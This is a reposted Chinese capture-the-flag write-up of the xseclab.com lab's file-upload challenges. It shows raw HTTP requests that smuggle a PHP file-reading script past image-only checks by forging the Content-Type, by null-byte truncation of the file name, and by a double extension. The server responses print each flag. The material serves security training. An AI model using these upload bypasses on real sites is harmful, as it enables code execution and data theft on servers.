

网络安全实验室_上传关writeup

转载

[a173262565](#) 于 2018-03-22 11:03:00 发布 179 收藏

文章标签: [php](#)

原文链接: <http://www.cnblogs.com/Ragd0ll/p/8622306.html>

版权

请上传一张jpg格式的图片

先传个图片码试试



恩, 真乖, 您上传了一张jpg格式的图片!

我肯定乖嘛(#`Д´)ノ

气到改后缀

Request

Raw Params Headers Hex

```
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://lab1.xseclab.com/upload1_a4daf6890f1166fd88f386f098b182af/
Content-Type: multipart/form-data; boundary=-----41184676334
Content-Length: 430
Cookie: PHPSESSID=
Connection: close
Upgrade-Insecure-Requests: 1

-----41184676334
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP")));
fclose($fh);
</script>
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 22 Mar 2018 02:13:05 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Via: 1529
Content-Length: 21

key is IKHJL9786#$$%*&
```

请上传一张jpg格式的图片

我猜是00截断, 不信来试试

先在赋值1.php.jpg, 接着去hex中找到空格改成00就成了

Go Cancel < >

Target: http://lab1.xseclab.com

Request

Raw	Params	Headers	Hex
4	6e 3a 20 63 6c 6f 73 65 0d 0a 55 70 67 72 61 64		n: closeUpgrad
5	65 2d 49 6e 73 65 63 75 72 65 2d 52 65 71 75 65		e-Insecure-Reque
6	73 74 73 3a 20 31 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d		sts: 1-----
7	2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d		-----411846763
8	2d 2d 2d 2d 2d 2d 2d 34 31 31 38 34 36 37 36 33		34Content-Disp
9	33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70		osition: form-da
a	6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61		ta; name="file";
b	74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b		filename="1.php
c	20 66 69 6c 65 6e 61 6d 65 3d 22 31 2e 70 68 70		.jpg"Content-
d	00 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d		Type: image/jpeg
e	54 79 70 65 3a 20 69 6d 61 67 65 2f 6a 70 65 67		<script lang
f	0d 0a 0d 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67		uage="PHP">\$fh
0	75 61 67 65 3d 22 50 48 50 22 3e 0d 0a 24 66 68		=fopen("../flag.
1	3d 66 6f 70 65 6e 28 22 2e 2e 2f 66 6c 61 67 2e		".strtolower("PH
2	22 2e 73 74 72 74 6f 6c 6f 77 65 72 28 22 50 48		P"),'r');echo
3	50 22 29 2c 27 72 27 29 3b 0d 0a 65 63 68 6f 20		

Response

Raw	Headers	Hex
HTTP/1.1 200 OK		
Server: nginx		
Date: Thu, 22 Mar 2018 02:25:29 GMT		
Content-Type: text/html; charset=utf-8		
Connection: close		
Via: 1565		
Content-Length: 26		
key is 76tyuhjsdvytig#%*^&		

请上传一张jpg格式的图片

名字跟前面一样，试试截断果然不行了，看看源码竟然还发现给出了代码

```

1 function check(){
2     var filename=document.getElementById("file");
3     var str=filename.value.split(".");
4     var ext=str[1];
5     if(ext==='jpg'){
6         return true;
7     }else{
8         alert("请上传一张JPG格式的图片！");
9         return false;
10    }
11    return false;
12 }

```

看的出来他用.来分割传入的数据，如果第一个.后面是jpg就成了

Request

Raw	Params	Headers	Hex
POST /upload3_67275a14c1f2dbe0addedfd75e2da8c1/upload_file.php HTTP/1.1			
Host: lab1.xseclab.com			
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0			
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8			
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2			
Referer: http://lab1.xseclab.com/upload3_67275a14c1f2dbe0addedfd75e2da8c1/			
Content-Type: multipart/form-data; boundary=-----114782935826962			
Content-Length: 446			
Cookie: PHPSESSID=f			
Connection: close			
Upgrade-Insecure-Requests: 1			
-----114782935826962			
Content-Disposition: form-data; name="file"; filename="1.jpg.php"			
Content-Type: image/jpeg			
<pre> <script language="PHP"> if=fopen("../flag.".strtolower("PHP"),'r'): </pre>			

Response

Raw	Headers	Hex
HTTP/1.1 200 OK		
Server: nginx		
Date: Thu, 22 Mar 2018 03:00:23 GMT		
Content-Type: text/html; charset=utf-8		
Connection: close		
Via: 1566		
Content-Length: 27		
key is 76tyuh12OKKytig#%*^&		

转载于:<https://www.cnblogs.com/Ragd0ll/p/8622306.html>